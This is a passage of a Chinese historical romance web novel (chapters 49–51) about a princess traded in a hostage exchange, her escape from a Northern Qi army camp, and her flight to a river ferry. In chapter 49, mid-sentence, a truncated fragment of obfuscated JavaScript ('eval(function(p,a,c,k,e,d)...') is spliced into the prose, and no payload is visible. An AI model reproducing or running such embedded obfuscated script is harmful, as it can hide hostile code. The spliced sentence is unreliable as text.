谢陵沉默不语。 谢宗脸色不满:“怎的?还要为了她忤逆我?” 谢陵:“侄儿不敢,只是萧大郎死得无辜,毕竟是跟了侄儿多年的部下,二叔能否将杀死萧大郎的人给侄儿处置?” 谢宗思虑片刻,同意道:“也罢,晚些时候,自会把人送到你府上,过几日,你随我去边关走一趟,办完这最后一件事,往后天下便是我们谢家的了。” 谢陵告退。 谢陵刚走没多久,谢宗便走到木架前,转动机关,供桌后的那面墙缓缓而开,小小的暗室内,闻梨被绑了手脚,嘴上还贴了封布,初见光线的她极为不适应,好一半晌才看清面前站着的深袍男子。 “来人,把公主带下去,好生伺候。” 49. 第四十九章 寒漠城,北齐与晋朝的交壤处,正是谢宗镇守了十年的北寒之地,城内人烟稀少,城外是无尽的荒野,却因易守难攻,自古便是兵家必争之地,战死在这片地域的英灵数不胜数。 黄昏时分,一列长长的送亲队伍入了城门。 “公主,到地方了。”一道冷淡、略带点催促的上了年纪的女声从马车外传来。 闻梨缓缓睁眼,半月的舟车劳顿,使得她面容憔悴不堪,人也消瘦了一圈,她默然起身,只因下马车时头晕眼花,有些看不清脚凳,踌躇了一会儿。 一旁的婆子竟不耐烦地来拽她的手。 闻梨险些被绊倒在地,勉强站稳身子,一抬眸,一道熟悉的身影映入眼帘,谢陵正朝她走来。 两人相视片刻,谢陵很快将目光挪走,神情淡漠从她身旁掠过,宛若当她不存在一般。 “松开,我自己会走。”闻梨冷声道了一句。 那婆子许是被她的眼神吓到,讪讪松手。 背过身的谢陵,袖中指骨捏得泛白,他刻意放缓脚步,直至身后的脚步声逐渐远去,他才压下心头的怒意,快步往马车边行去。 “二叔,城中守备及众将士等着见您。” 谢宗隔着车帘,淡淡说了声知道,待谢陵一走,谢宗便唤来心腹,询问谢陵途是否有异样,那心腹回说:“并无任何异样,王爷每日除了赶路,便是在巡视路况,期间不曾接近过公主的马车一次。” 谢宗脸上闪过一丝阴翳:“继续监视,若他有任何异动,不必回禀我,直接处死。” 寒漠城的夜晚,北风卷着粗粝的砂石,从城墙的夹缝中呼啸而过,发出低低的呜咽声,城内的某一处灯火通明,接风宴上推杯换盏,纵情声色,奢华热闹至极。 守备府衙的一角偏院,婆子一直守在门前,听着远处传来的声乐,打了个哈欠,抬头望望天,见时候不早了,便敲敲门道:“公主早些安歇。” 婆子一边说着,一边要去锁门,丝毫没注意到身后闪过一道黑影,刹那间婆子悄无声息倒在地上。 屋内,闻梨听到外边的动静,紧张站起身,忙插上门闩,随后房门忽而被人敲了敲,一道略有些耳熟的声音随之响起:“公主?” 闻梨犹豫片刻,打开了房门,黑影闪身入内,在幽暗的烛灯下,来人缓缓摘下面巾,一张凌厉如刀锋的脸廓逐渐显现。 “贸然以这种方式进来,没吓着公主吧?”陆回略含歉意笑道。 闻梨摇头:“你来这做什么?” 时间紧迫,陆回看向她,果断问道:“公主可知此地是何处,明日谢侯爷会把你送给谁?” 闻梨一阵默然,自从谢宗抓了她,只是幽禁,从未跟她说过一句话。 陆回简单介绍道:“这里是北齐与晋朝的交界,明天谢侯爷会把你送给北齐和亲,换回废太子。” 闻梨心中已然明了,一脸平静问:“谢陵要我做什么?潜入齐国套取情报?我没那样的本事。” 陆回挠挠头,为难道:“其实都不是,王爷只想救你出来,和亲是权宜之计,唉,公主不知道,王爷现在处处受限,连我也是偷摸跟来的,王爷如今只能跟齐国小皇子联手,就是公主那位旧情人……” 闻梨蹙了下眉头。 陆回立马改口:“咳咳咳,总之,王爷担心公主吃不好睡不好,特地要我找机会跟公主说明,等过了明日,公主就自由了,这是王爷的原话。” “那他呢?” 陆回愣了一下,没料到闻梨会问起王爷的事情,便如实道:“自然是留下为谢家报仇雪恨。” 闻梨抬起头,神色认真:“替我跟他说声保重。” 陆回笑了笑:“这话不必我传,明日送车驾出城的正是王爷,你们会有机会好好告别的,对了,这个东西请公主收好,必要之时可以保命。” 闻梨收下陆回递来的东西。 一夜无眠。 翌日,昏睡了一整夜的婆子被寒风冻醒,惊悚发现自己竟睡在房顶,吓得急声呼救,好不容易被人救下来,已是面色乌青,四肢打颤。 待那婆子一瘸一拐,赶至房中查看,见闻梨仍好端端坐在窗前,才松口气,便捧来大红喜袍,嘴唇发紫:“请公主洗漱更衣。” 闻梨头也没抬:“不换,就穿我平常的衣裳。” 清晨的荒野布满迷雾,直至日头出来,雾气渐散,在一阵轰隆声中,寒漠城的城门缓缓打开,一行裹着厚厚冬装的队伍自城门而出。 车轮碾过荒草地,刺骨的寒风直往马车内钻,闻梨拢了拢衣襟,原本缩在角落避风,却听见一道由远及近的马蹄声,紧接着车窗被人掀开,朔风扑得她睁不开眼,只瞧见一道身影从她眼前晃过。 然后,她的手心忽而被扔来一个暖壶,当她错愕抬眸,那马蹄声已经远去。 荒野的另一侧,少年一袭蓝袍纤尘不染,静静立于沙丘上,他的面容沉静,如星子般的眼眸紧盯着地平线,而他的身后是随风招展的旌旗,旗下是黑压压的士兵,午间日头正盛,照在将士们泛着银光的铠甲上,闪烁着嗜血的寒芒。 不知过了多久,荒野尽头出现一伙人马,徐渺面上闪过一丝柔情,即刻跃下沙丘,命人把关押废太子的囚车牵出,忙不迭翻身上马,点兵出发。 马车渐渐停下,闻梨慢慢睁眼,抱着暖壶坐直身子,略等了一会儿,车帘被人掀开,谢陵就站在外边,一身玄甲铁衣宛若玉面修罗,冷冽英气的目光扫来,周围人纷纷避让,只有在与闻梨对上视线那刻,眼底的冰霜融化些许。 他面色复杂,低低说了一句:“到了。” 闻梨什么都没问,起身下了马车,视野瞬间开阔,她瞧见广袤无垠的荒野,荒野对面是密不透风的军队,而马车后只孤零零跟着二三十个护送士兵。 闻梨觉得有些不对,按照陆回的说法,谢陵和徐渺已经达成同盟,倘若只为交换人,徐渺何必带这么多人? 闻梨登时想到另一种可能,扭头望向谢陵,欲言又止:“你……现在逃还来得及吗?” 谢陵面色微怔,眸底闪过一丝受宠若惊,他难得一笑,眼中满是不舍,慢悠悠吐了一句:“卿卿倘若放心不下,不妨留下来陪我?同生共死,我们也好有个伴。” 闻梨语塞,目光落向远处正疾驰赶来的少年,眼中没有一丝欣喜,她淡淡回他:“那还是算了,我比较想活,你一个人自求多福吧。” “卿卿的心还真是冷。”谢陵嘴上虽这般说着,脸上却带着笑意,他有些遗憾,也许日后,不会再有机会跟她斗嘴。 另一边,徐渺率领着队伍靠近,最终在十米开外停下,他翻身下马,一个人牵着囚车,缓缓朝这边走来,他的目光从落定的那刻,便一直在闻梨身上。 宛若许久未见的有情人,他的心跳得很快,清俊的脸带着几分潮红,目含期许,一步步走向他的挚爱。 “阿梨,我来接你。”他的声音掷地有声,如沐春风传遍荒野。 闻梨只是静静望着,心中并无波澜,唯有目光在扫过囚车里蓬头垢面的皇兄时,脸上才有一丝丝动容,久困深宫,她险些快忘了这位太子皇兄的面容,原本清冷出尘,高高在上的太子,如今与她一样,落得阶下囚的下场。 身处皇室,他们这些皇子公主的命,从来由不得自己。 囚车内,废太子同时抬眸,神色凄凄看了闻梨一眼,即便过往二人鲜少有过交际,却在此刻共情到了彼此,无奈,怜惜,认命,颓废等诸多情绪从他脸上一一闪过,直至谢陵等人接管了囚车,闻梨才彻底看不清太子皇兄的脸。 冷冽的北风吹起闻梨的裙摆,她继续履行人质交换的进程,头也不回地迈向前方。 “冷不冷?” 闻梨沉默不语。 徐渺从侍从手中,拿来一件白狐制成的厚厚大氅,披在了闻梨肩上,而后将闻梨抱上马背,疾驰回程。 旷野的风声在耳畔呼啸,没走多远,一阵巨大的爆炸声激得闻梨一哆嗦,她伸直脑袋朝后望去,却见刚才的囚车被炸得四分五裂,连地面都被炸出个焦黑的大坑,可见威力十足,更令人感到惊悚的是,囚车附近血肉模糊,连具完整的尸身都找不到。 闻梨怒了,揪着徐渺的衣领质问:“为什么?” 徐渺夹紧马腹,马儿跑得更快了,面对质问,他不曾低头看闻梨一眼,语气温柔却也漠然道:“没有为什么,我只是想让他死,难道阿梨不恨他吗?” 闻梨脸上血色尽失:“你要怎么对付他,我都不管,可你偏偏,又利用了我一次,放我下来!” 徐渺沉默片刻,抱得更紧了:“不要在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所有事宜都已安排下去,先行部队也已出发,距离大军拔营尚有些时辰,徐渺大跨步而来,还未靠近营帐,却见两个侍女远远躲在门边,面面相觑,又有些不知所措。 “发生什么事了?”徐渺顿住脚步。 其中一个侍女仿佛瞧见救星,上前道:“回殿下的话,那姑娘不肯让我们近身伺候,还说要见您一面。” 徐渺挥手,示意二人退下,拍了拍身上的灰尘与寒气,随后掀帐入内,幽暗昏黄的灯光下,他瞧见一双略带冷意的失望眼眸,明明是他日思夜想的模样,不知为何,到了她的跟前,他却觉得有点陌生,她好似已不是原来那个她。 徐渺若无其事在闻梨身旁坐下,温柔询问:“怎么啦?是她们伺候得不合你心意?” “你何时放我离开?”闻梨冷声问。 徐渺的一侧脸隐没在灯影下,声音依旧平静:“不急,现在外面危险,待时机成熟,我会送你离开。” “何时才算时机成熟?你还想骗我到什么时候?你连名字都是假的对吗?” 徐渺许是被这句话刺痛了,垂下眼睫,声音闷道:“我确实骗了你,倘若可以,我只愿做阿梨的徐护卫,但是徐护卫保护不了阿梨,只有十一皇子扶渺才能做到。” 说到这里,徐渺抬起头,定定望着闻梨,模样认真:“阿梨,你最后信我一次,等解决了战事,我便带你去见我娘和妹妹,我们在北齐再成一次亲,你将会是北齐未来的太子妃,甚至皇后,你想要什么,我都能给你,你想去哪里,我也能陪你。我们还会有很多快乐的日子。” 闻梨难以置信回望着他,心情跌落谷底,“当北齐的太子妃和皇后,当真是我心中所愿吗?任何人都可以这样说,可唯独你不能说,你是知道的,为了逃离皇宫,我费了多大的劲,而你却想再一次把我困在樊笼,你是当真为我好?还是想借我掩盖你的野心和欲望?” 徐渺听罢,久久未出声反驳,他站起身,整个人落在烛火的阴影中,火光滋滋响,灯影随着风跳动,他的视线紧紧落在闻梨脸上,眼眸不似往常那般温润无害,许是背光的缘故,倒有几分摄人的压迫感。 他的声音也变得深沉,夹杂着几缕难懂的晦暗情愫:“有时候太过清醒,反而不是件好事,我承认,这江山我要,可阿梨你,也是我此生所求。” 徐渺神色温和,朝着闻梨步步逼近,他伸手轻轻抚摸过闻梨的眼睛,彻底遮住,他分明感受到怀中人的抗拒,却未停下动作,他微微俯身,强硬的在她柔软的唇瓣落下一吻。 他的呢喃低语,犹如玩弄人心的魅魔:“好好睡一觉,剩下的交给我,一切都能恢复如初。” 闻梨失去意识,软软倒在徐渺怀里。 50. 第五十章 寒风席卷过荒凉的大地,幽黄落日尽头,大批逃难的流民,或拖家带口,或三两结伴,艰难行走在荒草稀疏的旷野中,饥饿、疲倦、恐惧与死寂伴随着他们。 砰的一声响,路边有人摔了跟头,似乎是一个母亲,怀里还抱着两岁的娃娃,那母亲没能爬起来,娃娃磕伤了脑袋,一边虚弱哭着,一边睁着惊慌无助的大眼睛,盯着过往的每一个人。 但没人愿意停下,去帮一帮那对可怜的母女,因为在那蜿蜒的、一眼望不到头的来路上,遍地是饿死或冻死的尸首。 天色逐渐暗沉,那娃娃也哭得声嘶力竭,眼见即将没了声息,一个远远落后于人群的老妇人,终是不忍心,将娃娃抱进怀中,缓缓而行。 远处的琅云城,高耸的城墙上屹立着一道挺拔修长的身影,玄衣黑发,衣袂翻飞,一双冷清淡漠、略带点威压的深邃眼眸,紧盯着难民们逃离的方向,不知在想些什么。 “王爷,寒漠城刚传来的密信!”陆回急匆匆爬上城楼,将一封密信呈给谢陵。 谢陵看罢,眉宇间愁云散开些许,他攥紧信纸,吩咐道:“谢宗扛不住齐军的进攻,欲派亲信去雁城求助胡将军支援,传我命令,让萧二郎带人埋伏在寒漠城外,若遇到送信者,不留活口。” 陆回眼中闪动着喜悦的光芒,“这么说,我们的谋划算是成了?谢宗等不到援军,还腹背受敌,这次看他往哪里逃!不过末将有一事想问问王爷,在寒漠城给您传信的那个人是谁?” 谢陵:“是商先生,他是虞莲的人。” 陆回恍然:“原来是他,他竟然是虞贵妃的人,隐藏可真够深啊,我还只当商先生是追名逐利之人,说了很多不该说的话,他能以一介文弱之身,潜伏在谢宗那个老狐狸身边,真谋士也,等下次见了面,我定跟他好生道歉!” 谢陵没再说话,视线投向遥远的天际,那是北齐驻军的方向,不知闻梨在那边过得好不好。 北齐军营。 闻梨在一阵嘹亮的军号声中醒来,映入眼瞳的是一片浸了层淡淡晨曦的营帐顶蓬,光线有些刺眼,外边依旧是个晴朗的冷天。 闻梨刚坐起身子,营帐外便有侍女端来热水伺候她穿衣洗漱,侍女动作轻盈,有条不紊,闻梨也始终保持缄默,任由侍女拧湿手帕替她擦手。 待洗漱完毕,又有另一个侍女端来早膳,闻梨一口未动,兀自起身,照常走到营帐外,什么也不做,只是盯着蔚蓝的天空发愣。 这样的日子已经过了七八日,自那之后,闻梨便没再见过徐渺,不过偶尔会收到徐渺写给她的书信,以及一些稀奇古怪的小玩意,但那一封封言辞恳切、诉尽衷肠的信里,却丝毫不提何时还她自由。 今日送信的士兵又来了,还捎来一尊徐渺照着闻梨模样捏的小泥人,小泥人活灵活现,十分俏皮可爱,换做以前,闻梨定会爱不释手,可如今她也只是淡淡扫了一眼,便让侍女收起来。 “慢着,我也有一封信给他。”闻梨忽而喊住送信士兵。 当天夜里,徐渺便收到了闻梨的回信,彼时他正与几位将军商议要事,只等夜深人静时分,他才有空坐下来,在明晃晃的烛灯下,满怀激动,虔诚而细致的拆开信封,一列娟秀字迹顿时落入他的眼中。 “我想要一只风筝。” 徐渺翻来覆去的瞧,但信上确确实实只有这么几个字,他不禁有些失落,很快打起精神,命人准备做风筝的物件,熬通宵亲手做了一只小燕风筝,立刻派人送去。 他还在信中写道:等来年春天,我想陪阿梨一起放风筝。 闻梨看完信,依旧是随手把信扔进炭盆,目光转向那只做工精致的彩色风筝,先取下风筝上原有的挂饰,从袖中掏出一条紫色鸢尾花长结,牢牢拴在上边。 在荒漠上放风筝,比闻梨想象中容易,她只是随意拽了拽丝线,那小燕风筝便摇摇摆摆,乘着风高高飞起,幽蓝天幕与荒野的交融处,那抹红红绿绿的颜色极为显眼,吸引了军营中不少人的注意。 士兵们纷纷停下脚步。 “是谁在那放风筝?” “听说是那位前来和亲的公主。” “寒漠城都快被我们攻破了,她还有闲情放风筝?等晋国灭了,她连哭的地方都找不到。” 众士兵哈哈一乐,北齐与晋朝积怨已久,尤其北齐还被晋朝压着打这么多年,眼下终于要扬眉吐气一番,没有人在意晋朝的公主为何要在大冷天里放风筝。 夜晚,气温骤降,营帐外北风肆虐,一声紧过一声,营帐内,木炭噼里啪啦燃烧着,床榻下侍女的浅鼾声隐隐响起,在这样暖和而静谧的深夜里,闻梨却毫无睡意,只是盯着门边厚厚的毛毡帘子,一副若有所思的模样。 不知过了多久,那帘子忽而动了动,闻梨的心随之一紧,紧接着她瞧见有道黑影闪身入内,正径直朝床边走来,闻梨忙不迭爬起身,比手势提醒那黑影床边有人。 黑影果然放慢脚步,趁侍女尚在睡梦中,便将人敲晕。 来人缓缓开口:“白天风筝上的鸢尾花结可是公主放的?” “是我。”闻梨注视着眼前的黑影,平静说道。那鸢尾花结是在寒漠城时,陆回塞给她的东西,说可以凭此信物,调动潜伏在北齐军营内的暗探,闻梨也只是试试,没想到暗探来得这般快。 见此信物犹见临王,黑影沉默片刻,跪地道:“青岚恭听公主吩咐。” 闻梨沉寂已久的双眸再次亮起:“我要离开这里。” 青岚从地上起来,“我知道了,公主在此稍等,我一会儿再来。”说罢,他便退出营帐。 一盏茶的工夫,青岚带来一套普通士兵的衣物,摆放在桌面,“请公主换上。”说着,他又退了出去,给闻梨腾出换衣的空间。 闻梨麻利换好,走出营帐,发现一直守在外边的士兵都不见了踪影,与此同时,青岚从营帐后走出,手上沾了不少血迹,显然刚把什么东西拖过去。 闻梨什么也没问。 “公主请跟我来。”青岚面无表情带路,他似乎对北齐军营的巡守班次了如指掌,带着闻梨绕过重重关卡,来到一处无人角落。 然后闻梨就看到,青岚双手插兜,在墙角蹲下一动不动。 闻梨:“????” 青岚抬头看了一眼闻梨,往旁边挪了挪,解释道:“这里避风,我们需要保存体力,一个时辰后,会有北齐的粮车从那扇门经过,到时候要推车。” 闻梨明白了青岚的意思,但这种蹲着的姿势实在不雅,她挪步过来,就地而坐,才发现这地面寒得刺骨,好在衣服厚实,闻梨暂且能忍耐,只是这风刮在脸上,有些疼得厉害,闻梨便只能缩成一团,将脸埋进膝间,静静等着粮车的到来。 天蒙蒙亮时分,轰隆隆的车轮声由远及近,大约有三四十辆粮车,缓缓从粮仓驶向军营正门,在经过某一处狭窄小道时,押送最后一辆粮车的两名士兵忽然倒地,被人悄无声息拖进暗处。 由于时间很短,前一辆粮车的人,并没有注意到身后发生的事,唯有走在最前边的押粮官,无意间瞥见最后一辆粮车落后得有点远,但押粮官未曾多想,只是不耐烦地催促道:“后边的磨蹭什么?若耽误了军情,小心军规处置!” 听了此话,最后两名“士兵”十分卖力地推动粮车,紧赶慢紧,勉强跟上了队伍的步伐。 直至押粮官的视线消失,闻梨才抬起头,面上流露些许不安,双眸紧盯着前方长长的队伍,当她瞧见门边值守的士兵并未一一核查押粮人的身份时,始终紧绷着的心绪稍稍安定。 青岚压低声音:“别抬头看,容易引起别人怀疑。” 闻梨立刻垂下脑袋,认真扮演推车的小卒。 队伍的行进比闻梨想象中顺利,眼见将要轮到最后一辆粮车经过木栅栏时,身后忽然传来一阵急促的马蹄声,有个长相五大三粗的男子,一边挥着马鞭,一边大喊:“副将有令,即刻封门,不许任何人出军营!” 闻梨瞬间慌了神,下意识回头望去。 押粮的士兵们纷纷停住,神情茫然看向来者,门口的守卫也有些不知 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青岚顺势将缰绳塞进闻梨手中,“往东走十里,那里有块能避风的巨石,公主藏好了,等我解决这些人,就去找您。”说罢,青岚跳下马背,顺便狠狠踹了下马儿屁股。 闻梨什么都来不及说,便被发了怒的马儿带走。 青岚面无表情抽出藏在腰间的兵器,朝着追兵们奔去。 一个时辰后。 青岚颇费了一番周折,才将追来的十几人绞杀在兵刃下,幸好现在的北齐正忙着攻打寒漠城,军营里能调动的人不多,否则今日凭他武功再好,也很难从追兵手里逃脱。 如约赶到巨石边后,青岚将巨石上上下下,甚至是巨石的方圆一里地找了个遍,莫说公主人影,连马蹄印都瞧不见。 青岚站在风里陷入沉思。 *** 自北齐与晋朝开战以来,每日都有大量寒漠城附近的百姓,穿行在广袤无垠的荒原上,琅云城是离寒漠城最近的城池,起初也有人逃往琅云城,可随着齐军进攻的势头节节攀升,下一个被攻陷的城池也许就是琅云城。 于是这几日,连琅云城的百姓都开始收拾家当细软,准备搬离世代居住之地,而就在这日傍晚,城门即将关闭之际,人们瞧见一个浑身染血的年轻将军,红着一双眼,狼狈的骑马闯进城门,怀里抱着一颗血淋淋的头颅。 此情此景,吓坏了沿途百姓,人们哄抢着逃离琅云城,生怕迟一步便被困在这城中,惨遭敌军的屠戮,没人在乎那年轻将军怀里,抱着的是谁的头颅。 陆回大跨步走进衙署,刚见到沙盘边站着的谢陵,便扑通跪地,捧着手中的头颅,嘴唇泛白,声音颤抖:“我们去得迟了,商先生被谢宗斩首,头颅就挂在城墙上示众。” 谢陵脸色刷的变白,沉默的握紧拳头,目光紧紧落在那沾了泥和血的头颅,良久,他深吸一口气,过去捧起商宴的头,想用水洗干净,刚一触碰,谢陵发现商宴的嘴里似乎咬着什么东西。 掰开来,是一张褶皱的纸条,上面写道:北江渡口。 陆回脸上透着几分迷茫:“商先生这是何意?” “军师拼死传出这个消息,是为了告诉我们,谢宗已经暗中撤出寒漠城,逃亡北江渡口,那里有去往燕国的船只。”谢陵顿了顿,又道:“谢宗恐怕知道他留守在京都的心腹皆已被杀,京都现在是虞莲的地盘。” 陆回:“那我们现在就杀过去,杀了那老贼,给大郎和商先生报仇!” 谢陵转过身来,望着商宴紧闭的双眸,沉声道:“不,我要你带兵镇守琅云城,我答应过军师,无论如何也要守住晋朝的关门,齐军短时间内不会打过来,但不得不防一手。” 谢陵说着,从怀里掏出自己的将军腰牌,“我早已暗中联络过昔日的旧部,再撑半月,萧二郎会带着援军赶来,你要替我守好琅云城,莫要让齐军入关,我亲自去取谢宗性命。” 陆回一脸郑重接下将军腰牌:“末将遵令。” 谢陵还想再说些什么,门外忽而来人,将刚飞来的信鸽呈给谢陵,谢陵打开纸条,读罢,脸色骤变。 他的卿卿,失踪了。 51. 第五十一章 细雪下了一夜,冷冽的寒风从旷野吹来,卷起一地的枯枝落叶,与飞旋的雪粒子缠在一起,直簌簌往路人脸上扑去,犹如被那粗粝的刀锋割过一般。 灰蒙蒙的天空下,一条蜿蜒而绵长的逃难队伍,正沿着干涸的河床缓缓前行,在这途中,不断的有人倒下,亲人伤心欲绝的呜咽声此起彼伏,最终都湮没在风中。 在这片冷寂的大地上,死亡和沉默笼罩着每个人的心,当他们听见由远及近的马蹄声时,一种刻在骨子里的恐惧骤然升上心头,一时间忘掉饥饿与寒冷,拖着沉甸甸的身躯四散逃命。 然而,当他们边跑边回头,却发现闯进人群中的,只是一匹没有人骑的马,难民们吓得够呛,逐渐回到人群,有些胆子大的,试着接近马匹,想要据为己有,毕竟有了马,便能提早离开这片荒芜的大地。 无人注意到队列的最后,混进来一道弱不禁风的身影。 在一阵惨烈的抢夺中,有个稍微强壮点的难民打倒一众争夺者,成功爬上马背,正当他大喜过望,欲骑着马前行之际,后方又传来一阵哒哒马蹄声,这次不止一匹马,人们纷纷欣喜回头望去,登时吓白了脸。 只见平坦宽旷的草地上,二三十个齐国的士兵骑在马背上,手中拎着刀枪,凶神恶煞而来。 惊恐的哭喊声在人群中炸开,人踩人,人推人,逃命的场面混乱极了,但出乎意料的是,齐军靠过来,没有大开杀戒,而是越过人群,目标似乎是最前方的那匹马。 先前抢了马儿的难民被齐军拦下,齐军首领恶狠狠逼近难民,审问这马匹的原主在哪里,难民一个劲摇头,试着用蹩脚的齐国方言,解释一切,但那首领显然没了耐心,挥刀抹了难民的脖子。 这血腥的一幕吓坏了附近的人们,连滚带爬退避齐军,齐军首领抓住几个人问话,皆问不出答案,于是齐军首领将目光转向人群。 “她肯定混进了人群,若有落单的女子,即刻抓来见我!” 混在人群末尾的闻梨,看见齐军开始挨个搜查难民,心情猛地沉到谷底,慌乱中从地面蹭了点泥,涂抹在自己脸上,但她知道,这点小伎俩肯定瞒不过追兵。 正当她犹豫要不要躺下装死,怀里忽而被人塞了个小娃娃,自己的胳膊也被人挽住,那是一双苍老长满冻疮的手。 “孩子,别怕。” 闻梨诧异扭头,身旁站着的是个风烛残年的妇人,老妇人拥有一双慈祥平静的眼眸,看向她的目光里,带着一丝怜悯与同情。 闻梨很快领悟了老妇人的意思,作势哄怀里的小娃娃入睡,埋头的瞬间,恰好与齐军擦肩而过。 齐军搜查了一圈,倒是找出几个独行的女子,但年岁不大符合,不论齐军首领怎么威胁和逼问,无一人见过马儿的原主。 “给我沿着来路找,无论如何,也得把人找到!” 齐军逐渐远去,死里逃生的难民们见识到齐军的凶残,变得更加沉默,他们无比庆幸,自己在齐军打过来前逃了,虽不知能否活着走出荒野,但路就在脚下,他们还有希望。 “多谢。”闻梨仍抱着娃娃,朝老妇人低声说了一句。 老妇人松开闻梨的胳膊,捡起拐杖,一瘸一拐,边走边叹道:“从军营里逃出来可不容易,你受苦了,孩子。” 闻梨心里微微发酸,沉默片刻,问道:“这条路去往何处?” 老妇人:“北江渡口,那里有通往燕国的船只,晋朝与北齐的战事,不知何时能结束,唯有逃到燕国,唉……” 闻梨有些困惑:“为何不往南边走?至少有个玉京城,气候也没有这般恶劣。” 老妇人摇摇头,声音愈发沧桑,还透着股悲凉:“你不知道,这些年一直是谢小将军保卫边疆的安宁,如今谢小将军死了,晋朝又撑得住几时呢?” “谢小将军,是临王吗?” “是啊,听说是死在齐国人手中,你也认识他?” 闻梨没有回答,脑子里浮现一道高大挺拔的身姿,她这一生,与谢陵之间岂止算得上认识?那些曾经浓烈的恨意与痛苦,仿佛如这眼前汹涌的风,吹过草地后,什么也留不下。 她喃喃自语:“要是不认识就好了。” 风太大,老妇人并没有听清闻梨的话。 三日后,北江渡口。 由于打仗的缘故,平日里人烟稀少的北江渡口边上,挤满了人,大部分是逃难的普通民众,少数几个燕国的客商,还有一些江湖人士。 这些人整日望眼欲穿守在渡口,希望燕国能派更多的船只前来,然而每天只有不到十分之一的人能登船,船钱也由原来的二钱银子,猛涨至五百两,极少数富商才能付得起船费。 “从明天起,燕国不会再派船过来,要上船的抓紧时间!”船夫大声吆喝着。 老妇人攥着一张皱巴巴的纸币,伸直脖子望了望,眼神瞬间变暗:“这三十两,已是我全部的积蓄,孩子你把这钱拿好,去给那些人求求情,没准有机会上船。” 闻梨心头一热,把钱推回去:“阿婆,我有钱。”说罢,她从怀里摸出一片金叶子,递给岸边的船夫。 船夫瞧见金叶子,目露精光,忙殷勤放下木桥,让闻梨等人通行。 此后,渡口又来了四五个要搭船的人,其中有位衣着不俗的贵客,带着顶黑色斗笠,出手极为阔绰,乐得船夫喜笑颜开,忙迎贵客登船。 刚过正午,船尾的伙计欲收起木板,为驶离港口做准备,岂料岸上的难民眼见搭船无望,竟纷纷跳进水里,想要爬上船只,幸得船夫们早有准备,拿出趁手铁棍,将难民们一一击落。 岸上其余人,满心绝望的目送船只离去。 “要两间上好的客房。”闻梨说道。 前方引路的伙计回过头,暗暗打量了闻梨等人一眼:“贵客有所不知,船上客房紧张,如今只剩下一间上方,这价格嘛……自然是不便宜。” 闻梨这回没再往外掏金叶子,淡淡从怀里摸出五十两银票,扔给伙计:“带路,房钱我会另付。” 楼上房间不大,勉强能容纳闻梨等人住下,安顿好后,闻梨吩咐伙计送吃食和热水,她们赶了三天路,老妇人身上仅有的干粮,全喂给了小娃娃。 没过多久,房门被人敲响,闻梨毫无防备打开门,却见门外站着个没见过的船夫,那人笑容和蔼凑上前,好言好语商量:“这位夫人,是这样的,这间房已经被那位爷要了,您瞧能否行个方便,小的另外给您找间房。” 闻梨探出脑袋,朝船夫所指的方向看了一眼,只见外边站着四五个面目狰狞的大汉,似乎是中间那位戴着黑色斗笠男子的护卫,看起来很不好惹。 这哪里有商量的余地,明明楼上有那么多间房,但船夫只敢找她们这些老弱妇孺换房,心中计量一番,闻梨点点头,回屋抱起孩子,老妇人也很识趣,拎起包袱,跟着闻梨出了门。 那伙人见房间腾出,便朝这边走来。 闻梨抱着孩子,低着脑袋与那伙人擦肩而过。 “侯爷,待小的收拾干净,您再入内。” “嗯。” 那斗笠男子声音刚出,闻梨心口一沉,浑身忍不住打了个颤栗,愣了几秒才回过神来,下意识加快脚步,往楼梯口方向行去。 与此同时,斗笠男子身旁的属下,留意到闻梨的异样,便回禀道:“侯爷,那女子似乎有问题。” 谢宗摘下斗笠,扫了眼消失在楼梯口的身影,神情冷漠:“找个人过去看看,行事低调些,不要招惹麻烦。” 从楼梯口下来,闻梨双腿都在发软,后脊背直冒冷汗,她现在思绪一片混乱,没想到会在这种情况下遇到谢宗,难不成是来抓她回去的? 但看着不太像,倘若真要抓她,刚才便会动手。 冷静下来后,闻梨意识到自己刚才的反应有点明显,不知道谢宗会不会起疑心,为以防万一,她必须和老妇人分开走。 闻梨忙把孩子递给老妇人,声音里透着几分慌张:“我……可能会有麻烦,不想牵连你们,阿婆你带着孩子先找个地方躲起来,倘若我还活着,下船前会去找你们,快走!” 老妇人听得一头雾水,但见闻梨神情紧张,便没再耽搁:“我明白了,孩子你千万保重。” 目送老妇人继续往楼下走,闻梨刻意等了一会儿,果然见有人也跟着下了楼梯,正是谢宗身旁的护卫,见此情形,她果断朝着甲板上走去。 身后的“尾巴”追得越来越紧,幸好遇到不少过路人,“尾巴”没机会动手,但闻梨心里清楚,一旦到了没人的地方,对方会毫不犹豫绑了她。 眼见距离甲板只有一步之遥,闻梨只觉肩上一沉,那“尾巴”如鬼魅般的身影袭来,她完全来不及思考,便被“尾巴”拖到无人处。 闻梨心中万分惶恐,强壮镇定盯着面前的男子:“你、你想做什么?” “尾巴”从鞋里抽出一把小刀,狰狞冷笑:“算你倒霉,既然你已知晓了侯爷的身份,那就没必要活着。” 闻梨没想到对方竟然要直接灭口,也是,谢陵都死了,谢宗绑了她威胁谁呢?她绝望闭眼,想象中的痛感并没有到来,只听得砰的一声响,有什么东西倒下了,还压到了她的脚背。 “公主您还好吗?” 这声音有点耳熟,闻梨心中微动,恍惚睁眼,许久不见的风浅站在她面前,他正一脸诧异望着她,手中握着的刀还在滴血。 闻梨从死亡的边缘走了一趟,这会儿反应有些迟钝:“你怎会在这里?” “卑职奉王爷之命来此埋伏谢宗。”风浅一边说着,一边将那人尸首扔进海里。 闻梨愣在原地,嘴张了张,千万言语只化作一句话:“他没死?” 风浅点点头。 “那他也在船上?”闻梨四处张望。 “不在。”风浅默了默,又道:“王爷原本是要亲自来杀谢宗的,但那时听说公主失踪了,就去找您了。” “找我?”闻梨眼底闪过一丝错愕,很快理清思绪,那条鸢尾花结是陆回给她的,暗探既是陆回的人,也是谢陵的人,她当时迷了路,没能与暗探会面,在他们看来,自己的确算是失踪。 可她想不明白,以谢陵的性子,怎会轻易放过灭族仇人,反而去找一个已经说好要断了的人。 风浅收起刀:“公主先找个地方藏起来,卑职这会儿要去捉拿谢宗,一时半会儿顾不上您。” 闻梨扶着栏杆起身,一言不发往下一层楼走去。 最底层的货舱狭窄且没有窗,过道上还挤满了人,闻梨寻了许久,才在一处角落寻到老妇人,随后在老妇人身旁坐下。 那小娃娃醒来了,经过这几日的相处,似乎已经把闻梨当成了亲娘,一见闻梨便凑过来要抱。 